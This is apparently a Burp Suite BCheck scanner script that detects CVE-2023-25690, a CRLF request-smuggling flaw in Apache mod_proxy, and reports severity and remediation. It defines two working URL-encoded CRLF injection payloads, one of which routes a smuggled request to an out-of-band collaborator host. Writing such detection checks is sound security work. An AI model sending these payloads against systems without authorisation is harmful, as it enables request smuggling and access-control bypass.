CVE-2023-25690 Apache mod_proxy CRLF Smuggling.bcheck

metadata:
    language: v2-beta
    name: "CVE-2023-25690"
    description: "Tests for CRLF based HTTP Request Smuggling/Splitting according to CVE-2023-25690"
    author: "Peyton Kennedy"

define:
    injected_payload1 = `%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/SMUGGLED`
    injected_payload2 = `%20HTTP/1.1%0d%0aHost:%20{generate_collaborator_address()}%0d%0a%0d%0aGET%20/SMUGGLED`

given request then
    if not({base.response.status_code} is "200") then
        send request called split:
            method: "GET"
            appending path: {injected_payload1}

        send request called oob:
            method: "GET"
            appending path: {injected_payload2}

        if {split.response.body} matches "\"statusCode\":200" or
            {latest.response.status_code} is "200" then
            report issue and continue:
                severity: medium
                confidence: tentative
                detail: "Apache mod_proxy rules appear to be insecurely splitting requests based on URI path. For more detail, refrence CVE-2023-25690"
                remediation: "Upgrade to latest version of Apache mod_proxy"
        end if

        if http interactions then
            report issue:
                severity: high
                confidence: firm
                detail: "External interaction is detected from an arbitrary host header due to CVE-2023-25690"
                remediation: "Upgrade to latest version of Apache mod_proxy"
        end if
    end if